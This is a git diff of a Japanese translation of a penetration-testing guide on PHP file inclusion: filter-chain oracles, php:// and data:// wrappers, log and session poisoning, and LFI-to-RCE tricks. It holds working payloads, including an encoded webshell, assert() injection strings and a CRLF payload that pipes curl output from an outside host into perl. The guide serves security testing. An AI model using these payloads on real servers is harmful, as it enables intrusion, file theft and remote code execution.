Filters](https://www.php.net/manual/en/filters.encryption.php) - `mcrypt.*` : 非推奨 - `mdecrypt.*` : 非推奨 - Other Filters -- PHP で `var_dump(stream_get_filters());` を実行すると、いくつかの**予期しないフィルター**が見つかります: +- php で `var_dump(stream_get_filters());` を実行すると、いくつかの **予期しないフィルタ** が見つかります: - `consumed` -- `dechunk`: HTTP chunked encoding を解除します +- `dechunk`: HTTP の chunked encoding を逆変換します - `convert.*` ```php # String Filters @@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient) ``` > [!WARNING] -> 「php://filter」部分は大文字小文字を区別しません +> "php://filter" の部分は大文字小文字を区別しません -### 任意のファイルを読み取るために php filters を oracle として使用する +### php filters を oracle として使用して任意のファイルを読む -[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) では、サーバーから出力が返されない状態でローカルファイルを読み取る手法が提案されています。この手法は **boolean exfiltration of the file (char by char) using php filters** を oracle として用いることに基づいています。これは、php filters を使ってテキストを十分に大きくし、php に例外を発生させることができるためです。 +[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) では、サーバーから出力を直接受け取らずにローカルファイルを読む手法が提案されています。この手法は、**php filters を oracle として用いたファイルの boolean exfiltration(文字ごと)** に基づきます。これは php filters がテキストを十分に大きくして php に例外を発生させるために使えるからです。 -元の記事には手法の詳細な説明がありますが、ここでは簡単に要約します: +元記事には手法の詳細な説明がありますが、ここでは簡単な要約を示します: -- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially. -- これにより、先頭文字が正しく推測された場合に php が **error** を引き起こすほど巨大なテキストが生成される。 -- フィルタ **dechunk** は **先頭文字が16進数でない場合、すべてを削除する** ため、先頭文字が16進数かどうかを判定できる。 -- これと前述の手法(および推測した文字に応じた他のフィルタ)を組み合わせることで、十分な変換を行ったときに先頭文字が16進数でなくなるタイミングを見て、テキストの先頭の文字を推測できる。もし16進数であれば dechunk は削除せず、初期のボムにより php がエラーになるからである。 -- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb. -- 先頭で **rot13** のような他の変換を使うことで、n, o, p, q, r のような他の文字を leak することが可能(また他の codecs を使って別の文字を16進数の範囲へ移動させることもできる)。 -- 先頭文字が数字の場合は base64 エンコードして、数字を leak するために最初の2文字を leak する必要がある。 -- 最後の問題は **最初の文字以上をどのように leak するか** である。**convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** のような順序を入れ替えるフィルタを使うことで、文字の順序を変更してテキストの別の文字を先頭に持ってくることが可能となる。 -- さらにデータを取得するためのアイデアは、先頭に **2バイトのゴミデータを生成する**(**convert.iconv.UTF16.UTF16** を使用)、次に **UCS-4LE** を適用してそれを次の2バイトと pivot させ、ゴミデータに達するまでデータを削除する(これにより初期テキストの最初の2バイトが削除される)。これを必要なビットを leak するまで繰り返す。 +- **`UCS-4LE`** コーデックを使用して、先頭文字をそのままにして文字列のサイズを指数的に増やす。 +- これにより、初期文字が正しく推測されたときに **非常に大きなテキスト** が生成され、php が **エラー** を引き起こす。 +- **dechunk** フィルタは、**最初の文字が16進数でない場合にすべてを削除する** ため、最初の文字が16進数かどうかを判定できる。 +- これと前述の手法(および推測した文字に応じた他のフィルタ)を組み合わせることで、十分な変換を加えて最初の文字が16進数でなくなるタイミングを観察することで、テキスト先頭の文字を推測できる。もし16進数であれば dechunk は削除せず、初期の“爆弾”が php のエラーを引き起こす。 +- コーデック **convert.iconv.UNICODE.CP930** は各文字を次の文字に変換する(例: a -> b)。これにより、例えば最初の文字が `a` かどうかを判別できる。なぜならこのコーデックを6回適用すると a->b->c->d->e->f->g となり、その文字はもはや16進数の文字ではなくなり、したがって dechunk は削除せず、初期の“爆弾”と相乗して php のエラーが発生するからである。 +- 先頭で **rot13** のような他の変換を使うと、n, o, p, q, r のような文字を leak することが可能(他のコーデックを使って別の文字を16進数範囲に移動させることもできる)。 +- 最初の文字が数字の場合は base64 エンコードを行い、先頭2文字を leak して数字を判別する必要がある。 +- 最後の問題は、**先頭の1文字以上をどう leak するか**である。**convert.iconv.UTF16.UTF-16BE**, **convert.iconv.UCS-4.UCS-4LE**, **convert.iconv.UCS-4.UCS-4LE** のような order memory filters を使うと、文字の順序を入れ替えてテキストの他の文字を先頭に持ってくることが可能になる。 +- さらにデータを取得するためのアイデアは、**convert.iconv.UTF16.UTF16** で先頭に**2バイトのジャンクデータを生成**し、**UCS-4LE** を適用してそれを次の2バイトとピボットさせ、**ジャンクデータまでデータを削除する**(これにより元のテキストの先頭2バイトが削除される)ことを繰り返して、目的の位置に到達するまで続けるというものです。 -投稿ではこの処理を自動化するツールも公開されています: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). +記事ではこれを自動化するツールも公開されています: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). ### php://fd -This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files: +この wrapper はプロセスが開いているファイルディスクリプタにアクセスすることを可能にします。開かれているファイルの内容を外部に持ち出すのに潜在的に有用です: ```php echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); ``` -また、**php://stdin, php://stdout and php://stderr** を使用して、それぞれ **file descriptors 0, 1 and 2** にアクセスできます(攻撃でどのように役立つかは不明です) +また **php://stdin, php://stdout and php://stderr** を使って、それぞれ **file descriptors 0, 1 and 2** にアクセスすることもできます(攻撃でどう役立つかは不明です) -### zip:// and rar:// +### zip:// と rar:// -PHPShell を含む Zip または Rar ファイルをアップロードしてアクセスします.\ -rar protocol を悪用できるようにするには、**明示的に有効化する必要があります**。 +PHPShellを含むZipまたはRarファイルをアップロードしてアクセスします.\ +rarプロトコルを悪用するには、**明示的に有効化されている必要があります**. ```bash echo "
" > payload.php; zip payload.zip payload.php; @@ -328,24 +328,25 @@ http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "" ``` -Note that this protocol is restricted by php configurations **`allow_url_open`** and **`allow_url_include`** +このプロトコルは php の設定 **`allow_url_open`** と **`allow_url_include`** によって制限されることに注意してください。 ### expect:// -Expect を有効にする必要があります。次のようにしてコードを実行できます: +Expect は有効化されている必要があります。以下を使ってコードを実行できます: ``` http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls ``` ### input:// -POSTパラメータにpayloadを指定してください: +POST parametersにpayloadを指定してください: ```bash curl -XPOST "http://example.com/index.php?page=php://input" --data "" ``` ### phar:// -`.phar` ファイルは、Webアプリケーションがファイル読み込みに `include` のような関数を使用している場合に、PHPコードを実行するために利用できます。以下のPHPコードスニペットは `.phar` ファイルの作成方法を示しています: +Webアプリケーションがファイル読み込みに`include`のような関数を利用している場合、`.phar`ファイルはPHPコードを実行するために利用できます。 +以下のPHPコードスニペットは`.phar`ファイルの作成方法を示しています: ```php addFromString('test.txt', 'text'); $phar->setStub(''); $phar->stopBuffering(); ``` -`.phar` ファイルをコンパイルするには、次のコマンドを実行してください: +`.phar` ファイルをコンパイルするには、次のコマンドを実行します: ```bash php --define phar.readonly=0 create_path.php ``` -実行すると `test.phar` という名前のファイルが作成され、これを利用して Local File Inclusion (LFI) の脆弱性を悪用できる可能性があります。 +実行すると、`test.phar` というファイルが作成され、Local File Inclusion (LFI) 脆弱性を悪用するために利用される可能性があります。 -LFI が PHP コードを実行せずにファイルを読み取るだけの場合(`file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, `filesize()` などを通じて)、`phar` プロトコルを使用したファイル読み取りに関連するデシリアライズ脆弱性を悪用できる可能性があります。 +LFI が内部の PHP コードを実行せず、`file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()`、`filesize()` といった関数を通じてファイルの読み取りのみを行う場合、deserialization 脆弱性の悪用を試みることができます。この脆弱性は `phar` プロトコルを使用したファイルの読み取りに関連しています。 -`.phar` ファイルの文脈でデシリアライズ脆弱性を悪用する方法の詳細は、以下のドキュメントを参照してください: +For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below: [Phar Deserialization Exploitation Guide](phar-deserialization.md) @@ -373,36 +374,36 @@ phar-deserialization.md ### CVE-2024-2961 -PHP がサポートする php filters を利用できる任意のファイル読み取りを悪用して RCE を得ることが可能でした。詳細な説明は [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ -ごく簡単な要約:PHP ヒープの **3 byte overflow** を悪用して特定サイズの free chunks のチェーンを **alter** し、任意のアドレスに **write anything** できるようにしたため、`system` を呼ぶフックが追加されました。\ -さらに多くの php filters を悪用して特定サイズのチャンクを alloc することが可能でした。 +It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ +Very quick summary: a **3 byte overflow** in the PHP heap was abused to **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, so a hook was added to call **`system`**.\ +It was possible to alloc chunks of specific sizes abusing more php filters. ### More protocols Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:** -- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — メモリまたは一時ファイルに書き込む(file inclusion attack においてこれがどのように有用になるかは不明) -- [file://](https://www.php.net/manual/en/wrappers.file.php) — ローカルファイルシステムへアクセス -- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL へアクセス -- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL へアクセス +- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — メモリまたは一時ファイルに書き込み(file inclusion 攻撃でどう有用かは不明) +- [file://](https://www.php.net/manual/en/wrappers.file.php) — ローカルファイルシステムへのアクセス +- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL へのアクセス +- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL へのアクセス - [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 圧縮ストリーム -- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — パターンに一致するパス名を見つける(出力可能な内容を返さないため、ここではあまり有用ではない) +- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — パターンに一致するパス名を検索(出力可能なものを返さないため、この用途ではあまり有用ではない) - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2 -- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — オーディオストリーム(任意ファイル読み取りには役に立たない) +- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — オーディオストリーム(任意のファイル読み取りには役立たない) ## LFI via PHP's 'assert' -Local File Inclusion (LFI) のリスクは、文字列内のコードを実行できる 'assert' 関数を扱う場合に特に高くなります。これは、".." のような directory traversal 文字を含む入力をチェックしているが適切にサニタイズしていない場合に特に問題になります。 +Local File Inclusion (LFI) のリスクは、文字列内のコードを実行できる 'assert' 関数を扱う場合に特に高くなります。これは、".." のようなディレクトリトラバーサル文字が含まれる入力をチェックしているが適切にサニタイズしていない場合に問題になります。 For example, PHP code might be designed to prevent directory traversal like so: ```bash assert("strpos('$file', '..') === false") or die(""); ``` -これはtraversalを阻止することを目的としていますが、意図せずcode injectionのベクターを作り出してしまいます。reading file contentsを行うためにこれを悪用するには、an attackerは次のように使用できます: +これは traversal を防ぐことを目的としているが、意図せず code injection のベクトルを作り出している。ファイル内容を読み取るためにこれを悪用する場合、攻撃者は次のようなものを使うことができる: ```plaintext ' and die(highlight_file('/etc/passwd')) or ' ``` -同様に、任意のシステムコマンドを実行するには、次のようなものを使うことが考えられます: +同様に、任意のシステムコマンドを実行するには、次のようなものを使用できます: ```plaintext ' and die(system("id")) or ' ``` @@ -411,36 +412,36 @@ It's important to **URL-encode these payloads**. ## PHP Blind Path Traversal > [!WARNING] -> この手法は、**file path** を **control** できる **PHP function** がファイルへアクセスするが(例: 単純な **`file()`** の呼び出しのように)ファイルの内容が表示されないケースに関連します。 +> この手法は、**PHP 関数**の**ファイルパス**を**制御**できる場合に関連しますが、当該関数がファイルにアクセスしてもファイルの内容が表示されないケース(例: 単純な **`file()`** の呼び出し)で有効です。 -In [**この素晴らしい投稿**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**. +In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**. -要約すると、この手法では **"UCS-4LE" encoding** を使い、ファイルの内容を非常に**大きく**して、当該ファイルを開く **PHP function** が **error** を起こすようにします。 +要約すると、この手法は **"UCS-4LE" encoding** を使ってファイルの内容を非常に**大きく**し、ファイルを開く**PHP 関数**が**エラー**を引き起こすようにします。 -その後、最初の文字を leak するためにフィルタ **`dechunk`** を **base64** や **rot13** と組み合わせて使用し、最終的にフィルタ **convert.iconv.UCS-4.UCS-4LE** と **convert.iconv.UTF16.UTF-16BE** を使って先頭に他の文字を配置し、それらを leak します。 +その後、最初の文字をleakするためにフィルタ **`dechunk`** を **base64** や **rot13** と組み合わせて使用し、最後に **convert.iconv.UCS-4.UCS-4LE** と **convert.iconv.UTF16.UTF-16BE** を使って他の文字を先頭に配置してそれらをleakします。 -**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` +**脆弱である可能性のある関数**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` -技術的な詳細は前述の投稿を参照してください! +For the technical details check the mentioned post! ## LFI2RCE ### Arbitrary File Write via Path Traversal (Webshell RCE) -サーバー側のコードがアップロード/取り込みファイルの宛先パスをユーザ制御のデータ(例: filename や URL)で組み立て、正規化や検証を行わない場合、`..` セグメントや絶対パスによって意図したディレクトリを抜け出し、任意のファイル書き込みを引き起こす可能性があります。payload を web-exposed なディレクトリに置ければ、通常は webshell を置くことで認証不要の RCE を得られます。 +ファイルを受け取る/アップロードするサーバー側のコードが、ユーザー制御のデータ(例: filename や URL)を正規化や検証を行わずに宛先パスの構築に使うと、`..` セグメントや絶対パスによって意図したディレクトリを抜け出し、任意のファイル書き込みを引き起こす可能性があります。ペイロードを web-exposed なディレクトリに配置できれば、通常は webshell を置くことで認証不要の RCE を得られます。 -典型的な exploitation ワークフロー: -- パス/ファイル名を受け取り、ディスクにコンテンツを書き込むエンドポイントやバックグラウンドワーカー(例: メッセージ駆動の取り込み、XML/JSON コマンドハンドラ、ZIP 展開処理など)で書き込みプリミティブを特定する。 +Typical exploitation workflow: +- パス/filename を受け取りディスクにコンテンツを書き込む write primitive(エンドポイントやバックグラウンドワーカー)を特定する(例: message-driven ingestion、XML/JSON コマンドハンドラ、ZIP extractors など)。 - web-exposed なディレクトリを特定する。一般的な例: - - Apache/PHP: `/var/www/html/` - - Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` - - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` -- 意図したストレージディレクトリを抜けて webroot に到達する traversal パスを作成し、webshell のコンテンツを含める。 -- ドロップした payload にブラウザでアクセスしてコマンドを実行する。 +- Apache/PHP: `/var/www/html/` +- Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` +- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` +- 意図した保存ディレクトリから webroot に脱出する traversal パスを作成し、webshell の内容を含める。 +- 配置したペイロードにブラウザでアクセスしてコマンドを実行する。 -Notes: -- 書き込みを行う脆弱なサービスは非 HTTP ポートで待ち受けている場合があります(例: TCP 4004 の JMF XML リスナー)。メインの web ポータル(別ポート)が後であなたの payload を配信します。 -- Java スタックでは、これらのファイル書き込みは単純な `File`/`Paths` の連結で実装されていることが多く、正規化や allow-listing の欠如が根本的な脆弱性です。 +注意: +- 書き込みを行う脆弱なサービスは非HTTPポートで待ち受けている場合がある(例: TCP 4004 の JMF XML listener)。メインのウェブポータル(別ポート)が後であなたのペイロードを配信する。 +- Java スタックでは、これらのファイル書き込みは単純な `File`/`Paths` の連結で実装されていることが多い。canonicalisation/allow-listing の欠如が根本的な欠陥です。 Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal): ```xml @@ -467,9 +468,9 @@ in.transferTo(out); ``` このクラスのバグを防ぐハードニング: -- パスを正規化し、許可リストに登録されたベースディレクトリの配下であることを確認する。 -- `..`、絶対ルート、またはドライブレターを含むパスは拒否し、生成されたファイル名を優先する。 -- 書き込み処理を低権限アカウントで実行し、書き込み用ディレクトリを公開ルートから分離する。 +- パスを正規化し、許可リストのベースディレクトリの配下であることを強制する。 +- `..`、絶対ルート、またはドライブ文字を含むパスはすべて拒否し、生成されたファイル名を優先する。 +- 書き込み処理を低権限アカウントで実行し、書き込み用ディレクトリを配信されるルートから分離する。 ## Remote File Inclusion @@ -477,15 +478,15 @@ in.transferTo(out); ### Via Apache/Nginx log file -If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **``** and include that file +もし Apache や Nginx サーバが include 関数内で **LFIに脆弱**であれば、**`/var/log/apache2/access.log` or `/var/log/nginx/access.log`** にアクセスし、**user agent** または **GET parameter** に **``** のような php shell を書き込み、そのファイルを include してみることができる。 > [!WARNING] -> 注意: シェルに **double quotes** を使うと **simple quotes** の代わりに、ダブルクオートが文字列 "_**quote;**_" に置き換えられ、**PHP はエラーを投げ**て **それ以外は何も実行されません**。 +> シェルに **double quotes を使用する** と **simple quotes** の代わりにダブルクオートが文字列 "_**quote;**_" に変換され、**PHP がエラーを投げ**て**それ以外は実行されません**。 > -> また、ペイロードを**正しく書き込む**ようにしてください。でないとログファイルを読み込むたびに PHP がエラーになり、二度目のチャンスはありません。 +> また、**write correctly the payload**(ペイロードを正しく書き込む)ことを必ず確認してください。そうしないとログファイルを読み込むたびに PHP がエラーを起こし、再度試す機会がなくなります。 -This could also be done in other logs but **be careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.\ -Other possible log paths: +これは他のログでも同様に行えますが、**注意:** ログ内のコードが URL エンコードされている場合があり、Shell が壊れる可能性があります。ヘッダ **authorisation "basic"** は "user:password" を Base64 で含み、ログ内ではデコードされます。PHPShell はこのヘッダ内に挿入できる。\ +その他の可能なログパス: ```python /var/log/apache2/access.log /var/log/apache/access.log @@ -501,31 +502,31 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin ### メール経由 -**Send a mail** を内部アカウント (user@localhost) に送り、`` のような PHP ペイロードを含め、ユーザーのメールを **`/var/mail/`** または **`/var/spool/mail/`** のようなパスで include してみる。 +**メールを送信する** 内部アカウント (user@localhost) に、あなたのPHPペイロード(例:``)を含め、ユーザーのメールを次のようなパスで include してみる:**`/var/mail/`** または **`/var/spool/mail/`** ### /proc/*/fd/* 経由 -1. 多数のシェルをアップロードする(例:100) -2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) を include する。$PID = プロセスの PID(ブルートフォース可能)、$FD はファイルディスクリプタ(これもブルートフォース可能) +1. 大量のshellをアップロードする(例:100) +2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) を include する。$PID = プロセスのPID(ブルートフォース可能)、$FD = ファイルディスクリプタ(こちらもブルートフォース可能) ### /proc/self/environ 経由 -ログファイルと同様に、ペイロードを User-Agent に入れて送信すると /proc/self/environ ファイル内に反映される。 +ログファイルと同様に、User-Agentにペイロードを入れて送信すると、/proc/self/environ に反映される ``` GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` ### アップロード経由 -ファイルをアップロードできる場合は、シェルのペイロードをそのファイルに注入してください(例: `` )。 +ファイルをアップロードできる場合は、そのファイルにshell payloadを注入してください(例: ``)。 ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` -ファイルを可読な状態に保つため、画像/ドキュメント/pdf のメタデータに注入するのが最良です +ファイルを読みやすく保つには、pictures/doc/pdf のメタデータに注入するのが最適です -### ZIPファイルアップロード経由 +### ZIP ファイルアップロード経由 -圧縮されたPHP shellを含むZIPファイルをアップロードしてアクセス: +PHP shell を含む ZIP ファイルをアップロードしてアクセス: ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` @@ -541,129 +542,125 @@ PHPでは、これらのセッションは _/var/lib/php5/sess\\_\[PHPSESSID]\_ /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; ``` -Cookie を `` に設定してください +クッキーを `` に設定する ``` login=1&user=&pass=password&lang=en_us.php ``` -LFIを使ってPHP session fileを含める +LFI を使用して PHP session file を含める ``` login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 ``` -### ssh経由 +### ssh 経由 -sshが有効な場合、どのユーザが使われているかを確認する(/proc/self/status & /etc/passwd)し、**\/.ssh/id_rsa** にアクセスを試みる。 +ssh が有効な場合、どのユーザーが使われているかを確認(/proc/self/status & /etc/passwd)し、**\/.ssh/id_rsa** にアクセスを試みる。 ### **経由** **vsftpd** _**ログ**_ -The logs for the FTP server vsftpd are located at _**/var/log/vsftpd.log**_. In the scenario where a Local File Inclusion (LFI) vulnerability exists, and access to an exposed vsftpd server is possible, the following steps can be considered: +FTP サーバ vsftpd のログは _**/var/log/vsftpd.log**_ にあります。Local File Inclusion (LFI) の脆弱性が存在し、公開された vsftpd サーバにアクセスできる場合、次の手順を検討できます: -1. ログイン時にユーザー名フィールドに PHP ペイロードを注入する。 +1. ログイン時の username フィールドに PHP ペイロードを注入する。 2. 注入後、LFI を利用して _**/var/log/vsftpd.log**_ からサーバログを取得する。 -### php base64 filter経由(base64を使用) +### php base64 filter 経由 (using base64) -As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Here is an example payload: +As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64. これを利用してファイル拡張子チェックをバイパスできます:末尾が ".php" で終わる base64 を渡すと、"." を無視して "php" を base64 に付加します。例として以下のペイロード: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php NOTE: the payload is "" ``` -### php filters を使って(ファイル不要) - -この [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) は、**php filters を使って任意のコンテンツを生成して出力する**方法を説明しています。つまり、ファイルに書き込むことなく include のために**任意の php code を生成**できる、ということです。 +### php filters 経由(ファイル不要) +This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)は、**php filters を使って任意の内容を出力として生成できる**ことを説明しています。つまり、include に対して **任意の php コードを、ファイルに書き込むことなく生成できる**ということです。 {{#ref}} lfi2rce-via-php-filters.md {{#endref}} -### segmentation fault を使って - -**Upload** したファイルは `/tmp` に **temporary** として保存され、**同一リクエスト内**で **segmentation fault** を発生させると、**一時ファイルは削除されない** ため探すことができます。 +### segmentation fault を利用 +ファイルを **アップロード** すると `/tmp` に **一時ファイル** として保存されます。同じリクエスト内で **segmentation fault** を発生させると、**一時ファイルが削除されず** 残るので、それを探すことができます。 {{#ref}} lfi2rce-via-segmentation-fault.md {{#endref}} -### Nginx の一時ファイル保存を介して - -もし **Local File Inclusion** を見つけ、**Nginx** が PHP の前段で動作している場合、以下の手法で RCE を得られるかもしれません: +### Nginx の temp file storage を利用 +もし **Local File Inclusion** を見つけ、**Nginx** が PHP の前段にある場合、次の方法で RCE を得られる可能性があります: {{#ref}} lfi2rce-via-nginx-temp-files.md {{#endref}} -### PHP_SESSION_UPLOAD_PROGRESS を使って - -もし **Local File Inclusion** を見つけたが **セッションを持っていない**、そして `session.auto_start` が `Off` の場合でも、**multipart POST** データに **`PHP_SESSION_UPLOAD_PROGRESS`** を含めると、PHP が **セッションを有効化** します。これを悪用して RCE を得ることができます: +### PHP_SESSION_UPLOAD_PROGRESS を利用 +もし **Local File Inclusion** を発見していて、かつ **セッションを持っていない**(`session.auto_start` が `Off`)場合でも、**multipart POST** データに **`PHP_SESSION_UPLOAD_PROGRESS`** を含めると、PHP が自動的にセッションを有効にします。これを悪用して RCE を得ることができます: {{#ref}} via-php_session_upload_progress.md {{#endref}} -### Windows の一時ファイルアップロードを使って - -もし **Local File Inclusion** を見つけ、サーバが **Windows** 上で動作していれば RCE を得られる可能性があります: +### Windows の temp file uploads を利用 +もし **Local File Inclusion** を見つけ、サーバーが **Windows** 上で動作している場合、RCE を得られる可能性があります: {{#ref}} lfi2rce-via-temp-file-uploads.md {{#endref}} -### `pearcmd.php` + URL args +### `pearcmd.php` + URL args を利用 -As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). +As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), スクリプト `/usr/local/lib/phppearcmd.php` は php docker イメージにデフォルトで存在します。さらに、URL パラメータに `=` がない場合は引数として扱う旨が示されているため、URL 経由でスクリプトに引数を渡すことが可能です。See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). -次のリクエストは `/tmp/hello.php` を作成し、その内容を `` にします: +以下のリクエストは、内容 `` を持つファイルを `/tmp/hello.php` に作成します: ```bash GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1 ``` -以下は CRLF vuln を悪用して RCE を取得する例です (from [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): +以下はCRLF vulnを悪用してRCEを取得する(出典: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a %0d%0a ``` -### 経由 phpinfo() (file_uploads = on) +### Via phpinfo() (file_uploads = on) -もし**Local File Inclusion**を発見し、**phpinfo()**が file_uploads = on で公開されているファイルがあれば、RCE を得られます: +もし **Local File Inclusion** を見つけ、かつ **phpinfo()** を表示するファイルで file_uploads = on であれば、RCE を得られる可能性があります: {{#ref}} lfi2rce-via-phpinfo.md {{#endref}} -### 経由 compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure +### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure -もし**Local File Inclusion**を発見し、テンポラリファイルのパスを**can exfiltrate the path**できるが、**server**が**checking**していて**file to be included has PHP marks**かどうか確認している場合は、この**Race Condition**でその**bypass that check**を試すことができます: +もし **Local File Inclusion** を発見し、テンポラリファイルのパスを **can exfiltrate the path** できるが、**server** が含めるファイルに PHP マークがあるか **checking** している場合、次の **Race Condition** でその検査を **bypass** してみてください: {{#ref}} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {{#endref}} -### 経由 eternal waiting + bruteforce +### Via eternal waiting + bruteforce -もし LFI を悪用して**upload temporary files**ができ、サーバーの PHP 実行を**hang**させられるなら、何時間もかけて**brute force filenames during hours**することでテンポラリファイルを見つけられる可能性があります: +もし LFI を悪用して **upload temporary files** し、**server** が PHP 実行を **hang** させることができれば、数時間にわたり **brute force filenames during hours** してテンポラリファイルを見つけることができます: {{#ref}} lfi2rce-via-eternal-waiting.md {{#endref}} -### Fatal Error による +### To Fatal Error -もし 